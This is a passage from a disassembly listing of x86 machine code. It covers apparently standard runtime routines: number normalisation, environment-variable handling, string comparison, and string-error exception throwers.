[ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425BC8 loc_425BE6: ; CODE XREF: sub_425A96+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425C26 loc_425BED: ; CODE XREF: sub_425A96+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425C26 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425C06: ; CODE XREF: sub_425A96+184j test byte ptr [ebp+var_24], 1 jz short loc_425C0F inc [ebp+var_14] loc_425C0F: ; CODE XREF: sub_425A96+174j lea eax, [ebp+var_24] push eax call sub_424FD9 dec ebx pop ecx jnz short loc_425C06 cmp [ebp+var_14], 0 jz short loc_425C26 or byte ptr [ebp+var_24], 1 loc_425C26: ; CODE XREF: sub_425A96+155j ; sub_425A96+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425C3D mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425C72 loc_425C3D: ; CODE XREF: sub_425A96+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425C6F and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425C6A and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425C64 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C64: ; CODE XREF: sub_425A96+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425A96+1B5j inc [ebp+var_20+2] jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C6F: ; CODE XREF: sub_425A96+1ABj inc [ebp+var_24+2] loc_425C72: ; CODE XREF: sub_425A96+1A5j ; sub_425A96+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425C96 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425C90: ; CODE XREF: sub_425A96+86j mov [esi+0Ah], ax jmp short loc_425CB1 ; --------------------------------------------------------------------------- loc_425C96: ; CODE XREF: sub_425A96+42j ; sub_425A96+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425CB1: ; CODE XREF: sub_425A96+ABj ; sub_425A96+1FEj pop edi pop esi pop ebx leave retn sub_425A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425CB6 proc near ; CODE XREF: sub_4250CD+440p ; sub_42559E+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43B158 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425D2F jge short loc_425CDE mov eax, [ebp+arg_4] mov ebx, offset dword_43B2B8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425CDE: ; CODE XREF: sub_425CB6+16j cmp [ebp+arg_8], ecx jnz short loc_425CE9 mov eax, [ebp+arg_0] mov [eax], cx loc_425CE9: ; CODE XREF: sub_425CB6+2Bj cmp [ebp+arg_4], ecx jz short loc_425D2F push esi push edi loc_425CF0: ; CODE XREF: sub_425CB6+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425D28 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425D1B lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425D1B: ; CODE XREF: sub_425CB6+57j push esi push [ebp+arg_0] call sub_425A96 pop ecx pop ecx xor ecx, ecx loc_425D28: ; CODE XREF: sub_425CB6+49j cmp [ebp+arg_4], ecx jnz short loc_425CF0 pop edi pop esi loc_425D2F: ; CODE XREF: sub_425CB6+14j ; sub_425CB6+36j pop ebx leave retn sub_425CB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D32 proc near ; CODE XREF: sub_4259A3+5Ep ; sub_42620E+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425D3F xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425D3F: ; CODE XREF: sub_425D32+7j push dword_4DAB64 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DAD84 call sub_425DDF add esp, 1Ch test eax, eax jnz short loc_425D6C mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425D6C: ; CODE XREF: sub_425D32+31j add eax, 0FFFFFFFEh pop ebp retn sub_425D32 endp ; =============== S U B R O U T I N E ======================================= sub_425D71 proc near ; CODE XREF: sub_4259A3+1Ep ; sub_426087+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4D9744 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425DD2 mov ebx, dword_427194 loc_425D8A: ; CODE XREF: sub_425D71+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425DDA push ebp call sub_41BC9B cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425DDA push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425DDA push edi push [esp+18h+var_4] call sub_426087 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425D8A loc_425DD2: ; CODE XREF: sub_425D71+11j xor eax, eax loc_425DD4: ; CODE XREF: sub_425D71+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425DDA: ; CODE XREF: sub_425D71+29j ; sub_425D71+38j ... or eax, 0FFFFFFFFh jmp short loc_425DD4 sub_425D71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDF proc near ; CODE XREF: sub_425D32+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CB8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4D9A20, ebx push 1 pop edi jnz short loc_425E52 push edi mov eax, offset dword_427908 push eax push edi push eax push ebx push ebx nop call near ptr 25E0000h test eax, eax jz short loc_425E2F mov dword_4D9A20, edi jmp short loc_425E52 ; --------------------------------------------------------------------------- loc_425E2F: ; CODE XREF: sub_425DDF+46j push edi mov eax, offset word_4C91BC push eax push edi push eax push ebx push ebx nop call near ptr 25E069Ch test eax, eax jz loc_426048 mov dword_4D9A20, 2 loc_425E52: ; CODE XREF: sub_425DDF+31j ; sub_425DDF+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425E69 push esi push [ebp+arg_8] call sub_42605C pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425E69: ; CODE XREF: sub_425DDF+78j cmp [ebp+arg_14], ebx jle short loc_425E7E push [ebp+arg_14] push [ebp+arg_10] call sub_42605C pop ecx pop ecx mov [ebp+arg_14], eax loc_425E7E: ; CODE XREF: sub_425DDF+8Dj mov eax, dword_4D9A20 cmp eax, 2 jnz short loc_425EA3 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25E069Ch nop jmp loc_42604A ; --------------------------------------------------------------------------- loc_425EA3: ; CODE XREF: sub_425DDF+A7j cmp eax, edi jnz loc_426048 cmp [ebp+arg_18], ebx jnz short loc_425EB8 mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_425EB8: ; CODE XREF: sub_425DDF+CFj cmp esi, ebx jz short loc_425EC5 cmp [ebp+arg_14], ebx jnz loc_425F5D loc_425EC5: ; CODE XREF: sub_425DDF+DBj cmp esi, [ebp+arg_14] jnz short loc_425ED2 loc_425ECA: ; CODE XREF: sub_425DDF+13Cj ; sub_425DDF+16Dj push 2 loc_425ECC: ; CODE XREF: sub_425DDF+146j pop eax jmp loc_42604A ; --------------------------------------------------------------------------- loc_425ED2: ; CODE XREF: sub_425DDF+E9j cmp [ebp+arg_14], edi jle short loc_425EDE loc_425ED7: ; CODE XREF: sub_425DDF+151j ; sub_425DDF+159j ... mov eax, edi jmp loc_42604A ; --------------------------------------------------------------------------- loc_425EDE: ; CODE XREF: sub_425DDF+F6j cmp esi, edi jg short loc_425F23 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 2670000h test eax, eax jz loc_426048 cmp esi, ebx jle short loc_425F27 cmp [ebp+var_3C], 2 jb short loc_425F23 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425F23 loc_425F09: ; CODE XREF: sub_425DDF+142j mov dl, [eax+1] cmp dl, bl jz short loc_425F23 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_425F1D cmp cl, dl jbe short loc_425ECA loc_425F1D: ; CODE XREF: sub_425DDF+138j inc eax inc eax cmp [eax], bl jnz short loc_425F09 loc_425F23: ; CODE XREF: sub_425DDF+101j ; sub_425DDF+120j ... push 3 jmp short loc_425ECC ; --------------------------------------------------------------------------- loc_425F27: ; CODE XREF: sub_425DDF+11Aj cmp [ebp+arg_14], ebx jle short loc_425F5D cmp [ebp+var_3C], 2 jb short loc_425ED7 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425ED7 loc_425F3A: ; CODE XREF: sub_425DDF+177j mov dl, [eax+1] cmp dl, bl jz short loc_425ED7 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_425F52 cmp cl, dl jbe loc_425ECA loc_425F52: ; CODE XREF: sub_425DDF+169j inc eax inc eax cmp [eax], bl jnz short loc_425F3A jmp loc_425ED7 ; --------------------------------------------------------------------------- loc_425F5D: ; CODE XREF: sub_425DDF+E0j ; sub_425DDF+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2710000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_426048 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_425FAC ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_425FAC: ; CODE XREF: sub_425DDF+1B5j cmp [ebp+var_24], ebx jz loc_426048 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_4270F0 call esi test eax, eax jz short loc_426048 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_426048 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_426017 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_426017: ; CODE XREF: sub_425DDF+224j cmp edi, ebx jz short loc_426048 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2710000h test eax, eax jz short loc_426048 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25E0000h nop jmp short loc_42604A ; --------------------------------------------------------------------------- loc_426048: ; CODE XREF: sub_425DDF+63j ; sub_425DDF+C6j ... xor eax, eax loc_42604A: ; CODE XREF: sub_425DDF+BFj ; sub_425DDF+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425DDF endp ; =============== S U B R O U T I N E ======================================= sub_42605C proc near ; CODE XREF: sub_4229D2+81p ; sub_425DDF+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426079 loc_42606C: ; CODE XREF: sub_42605C+1Bj cmp byte ptr [eax], 0 jz short loc_426079 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_42606C loc_426079: ; CODE XREF: sub_42605C+Ej ; sub_42605C+13j cmp byte ptr [eax], 0 pop esi jnz short loc_426084 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_426084: ; CODE XREF: sub_42605C+21j mov eax, edx retn sub_42605C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426087 proc near ; CODE XREF: sub_425D71+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4260EB push 3Dh push [ebp+arg_0] call sub_4262CD mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4260EB cmp [ebp+arg_0], esi jz short loc_4260EB mov eax, dword_4D973C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4D9740 jnz short loc_4260D1 push eax call sub_426266 pop ecx mov dword_4D973C, eax loc_4260D1: ; CODE XREF: sub_426087+3Cj cmp eax, edi jnz short loc_426129 cmp [ebp+arg_4], edi jz short loc_4260F3 cmp dword_4D9744, edi jz short loc_4260F3 call sub_425D71 test eax, eax jz short loc_426129 loc_4260EB: ; CODE XREF: sub_426087+Dj ; sub_426087+22j ... or eax, 0FFFFFFFFh loc_4260EE: ; CODE XREF: sub_426087+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4260F3: ; CODE XREF: sub_426087+51j ; sub_426087+59j cmp ebx, edi jnz loc_426207 push 4 call sub_41BC9B cmp eax, edi pop ecx mov dword_4D973C, eax jz short loc_4260EB mov [eax], edi cmp dword_4D9744, edi jnz short loc_426129 push 4 call sub_41BC9B cmp eax, edi pop ecx mov dword_4D9744, eax jz short loc_4260EB mov [eax], edi loc_426129: ; CODE XREF: sub_426087+4Cj ; sub_426087+62j ... sub esi, [ebp+arg_0] mov edi, dword_4D973C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_42620E mov esi, eax pop ecx test esi, esi pop ecx jl short loc_426189 cmp dword ptr [edi], 0 jz short loc_426189 test ebx, ebx jz short loc_426181 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41BA31 pop ecx loc_42615B: ; CODE XREF: sub_426087+E2j cmp dword ptr [edi], 0 jz short loc_42616B mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42615B ; --------------------------------------------------------------------------- loc_42616B: ; CODE XREF: sub_426087+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41BB48 pop ecx test eax, eax pop ecx jz short loc_4261BB jmp short loc_4261B6 ; --------------------------------------------------------------------------- loc_426181: ; CODE XREF: sub_426087+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4261BB ; --------------------------------------------------------------------------- loc_426189: ; CODE XREF: sub_426087+BDj ; sub_426087+C2j test ebx, ebx jnz short loc_426207 test esi, esi jge short loc_426193 neg esi loc_426193: ; CODE XREF: sub_426087+108j lea eax, ds:8[esi*4] push eax push edi call sub_41BB48 pop ecx test eax, eax pop ecx jz loc_4260EB mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4261B6: ; CODE XREF: sub_426087+F8j mov dword_4D973C, eax loc_4261BB: ; CODE XREF: sub_426087+F6j ; sub_426087+100j cmp [ebp+arg_4], 0 jz short loc_426207 push [ebp+arg_0] call sub_41B960 inc eax inc eax push eax call sub_41BC9B mov esi, eax pop ecx test esi, esi pop ecx jz short loc_426207 push [ebp+arg_0] push esi call sub_41C620 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25D0000h push esi call sub_41BA31 pop ecx loc_426207: ; CODE XREF: sub_426087+6Ej ; sub_426087+104j ... xor eax, eax jmp loc_4260EE sub_426087 endp ; =============== S U B R O U T I N E ======================================= sub_42620E proc near ; CODE XREF: sub_426087+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4D973C push edi mov eax, [esi] test eax, eax jz short loc_426249 mov edi, [esp+8+arg_4] loc_426220: ; CODE XREF: sub_42620E+39j push edi push eax push [esp+10h+arg_0] call sub_425D32 add esp, 0Ch test eax, eax jnz short loc_42623F mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_426259 test al, al jz short loc_426259 loc_42623F: ; CODE XREF: sub_42620E+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426220 loc_426249: ; CODE XREF: sub_42620E+Cj mov eax, esi sub eax, dword_4D973C sar eax, 2 neg eax loc_426256: ; CODE XREF: sub_42620E+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_426259: ; CODE XREF: sub_42620E+2Bj ; sub_42620E+2Fj mov eax, esi sub eax, dword_4D973C sar eax, 2 jmp short loc_426256 sub_42620E endp ; =============== S U B R O U T I N E ======================================= sub_426266 proc near ; CODE XREF: sub_426087+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426275 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426275: ; CODE XREF: sub_426266+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_426287 loc_42627D: ; CODE XREF: sub_426266+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_42627D loc_426287: ; CODE XREF: sub_426266+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41BC9B mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4262A8 push 9 call sub_41E1C9 pop ecx loc_4262A8: ; CODE XREF: sub_426266+38j mov eax, [edi] mov ebx, edi loc_4262AC: ; CODE XREF: sub_426266+5Bj test eax, eax jz short loc_4262C3 push eax add ebx, 4 call sub_426340 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4262AC ; --------------------------------------------------------------------------- loc_4262C3: ; CODE XREF: sub_426266+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_426266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4262CD proc near ; CODE XREF: sub_426087+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DAB7C, 0 jnz short loc_4262E8 push [ebp+arg_4] push [ebp+arg_0] call sub_41C720 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4262E8: ; CODE XREF: sub_4262CD+Aj mov ecx, [ebp+arg_0] loc_4262EB: ; CODE XREF: sub_4262CD+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_42632E movzx edx, al test byte_4DAC81[edx], 4 jz short loc_42631A mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426325 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_426329 jmp short loc_426322 ; --------------------------------------------------------------------------- loc_42631A: ; CODE XREF: sub_4262CD+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_42632E loc_426322: ; CODE XREF: sub_4262CD+4Bj inc ecx jmp short loc_4262EB ; --------------------------------------------------------------------------- loc_426325: ; CODE XREF: sub_4262CD+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426329: ; CODE XREF: sub_4262CD+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_42632E: ; CODE XREF: sub_4262CD+25j ; sub_4262CD+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4262CD endp ; =============== S U B R O U T I N E ======================================= sub_426340 proc near ; CODE XREF: sub_4183EC+21p ; sub_426266+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_426367 push esi call sub_41B960 inc eax push eax call sub_41BC9B pop ecx test eax, eax pop ecx jz short loc_426367 push esi push eax call sub_41C620 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_426367: ; CODE XREF: sub_426340+7j ; sub_426340+1Aj xor eax, eax pop esi retn sub_426340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426370 proc near ; CODE XREF: sub_426453+19p ; sub_42657A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B960 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9A4 mov eax, esi pop esi retn 8 sub_426370 endp ; =============== S U B R O U T I N E ======================================= sub_42639A proc near ; CODE XREF: ___:004263C5p ; sub_426448+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_40D968 mov ecx, esi pop esi jmp sub_42681F sub_42639A endp ; =============== S U B R O U T I N E ======================================= sub_4263B5 proc near ; DATA XREF: ___:00427CD8o ; ___:00427CE8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4263C1 mov eax, offset dword_4276A0 locret_4263C1: ; CODE XREF: sub_4263B5+5j retn sub_4263B5 endp ; --------------------------------------------------------------------------- push esi mov esi, ecx call sub_42639A test byte ptr [esp+8], 1 jz short loc_4263D8 push esi call sub_41D3EF pop ecx loc_4263D8: ; CODE XREF: ___:004263CFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4263DE proc near ; CODE XREF: sub_426453+29p mov eax, offset loc_426D9E call sub_41D3D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CF0 call sub_426798 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CE4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4263DE endp ; =============== S U B R O U T I N E ======================================= sub_42642C proc near ; DATA XREF: ___:off_427CE4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426448 test [esp+4+arg_0], 1 jz short loc_426442 push esi call sub_41D3EF pop ecx loc_426442: ; CODE XREF: sub_42642C+Dj mov eax, esi pop esi retn 4 sub_42642C endp ; =============== S U B R O U T I N E ======================================= sub_426448 proc near ; CODE XREF: sub_42642C+3p ; DATA XREF: ___:0042805Co mov dword ptr [ecx], offset off_427CE4 jmp sub_42639A sub_426448 endp ; =============== S U B R O U T I N E ======================================= sub_426453 proc near ; CODE XREF: sub_40D815+13p ; sub_40D9D9+Ep mov eax, offset loc_426DB0 call sub_41D3D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426370 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4263DE push offset dword_428058 lea eax, [ebp-3Ch] push eax call sub_426842 int 3 ; Trap to Debugger sub_426453 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_4263DE+32p ; sub_4264B0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D815 mov eax, esi pop esi retn 4 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264B0 proc near ; CODE XREF: sub_42657A+29p mov eax, offset loc_426DC2 call sub_41D3D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CF0 call sub_426798 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264B0 endp ; =============== S U B R O U T I N E ======================================= sub_4264F8 proc near ; CODE XREF: sub_426562+7p ; sub_4265BE+7p ... mov eax, offset loc_426DD4 call sub_41D3D0 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_4267D5 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264F8 endp ; =============== S U B R O U T I N E ======================================= sub_42653B proc near ; DATA XREF: ___:off_427D10o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426557 test [esp+4+arg_0], 1 jz short loc_426551 push esi call sub_41D3EF pop ecx loc_426551: ; CODE XREF: sub_42653B+Dj mov eax, esi pop esi retn 4 sub_42653B endp ; =============== S U B R O U T I N E ======================================= sub_426557 proc near ; CODE XREF: sub_42653B+3p ; DATA XREF: ___:00428104o mov dword ptr [ecx], offset off_427D10 jmp sub_42639A sub_426557 endp ; =============== S U B R O U T I N E ======================================= sub_426562 proc near ; CODE XREF: sub_4265D6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4264F8 mov dword ptr [esi], offset off_427CE4 mov eax, esi pop esi retn 4 sub_426562 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; CODE XREF: sub_40D765+15p ; sub_40D7BE+15p ... mov eax, offset loc_426DE6 call sub_41D3D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426370 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264B0 push offset dword_428100 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D10 call sub_426842 int 3 ; Trap to Debugger sub_42657A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265BE proc near ; CODE XREF: sub_4265D6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4264F8 mov dword ptr [esi], offset off_427D10 mov eax, esi pop esi retn 4 sub_4265BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4265D6 proc near ; DATA XREF: ___:00427CDCo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4264F8 push offset dword_428140 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger loc_4265F4: ; DATA XREF: ___:00427D18o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4265BE push offset dword_428100 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger loc_426612: ; DATA XREF: ___:00427CECo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426562 push offset dword_428058 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger sub_4265D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426630 proc near nop jmp near ptr 71B2ACCBh sub_426630 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426636 proc near ; CODE XREF: sub_40D0EB+5Ep ; ___:00415727p ... nop jmp near ptr 71AB1B7Bh sub_426636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42663C proc near ; CODE XREF: sub_41D03C+23p ; sub_41D2E0+13p nop jmp near ptr 2890000h sub_42663C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426642 proc near ; CODE XREF: ___:0040B084p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426657 cmp [ebp+arg_0], 0 jge short loc_426657 push 1 push 0Ah jmp short loc_42665C ; --------------------------------------------------------------------------- loc_426657: ; CODE XREF: sub_426642+7j ; sub_426642+Dj push 0 push [ebp+arg_8] loc_42665C: ; 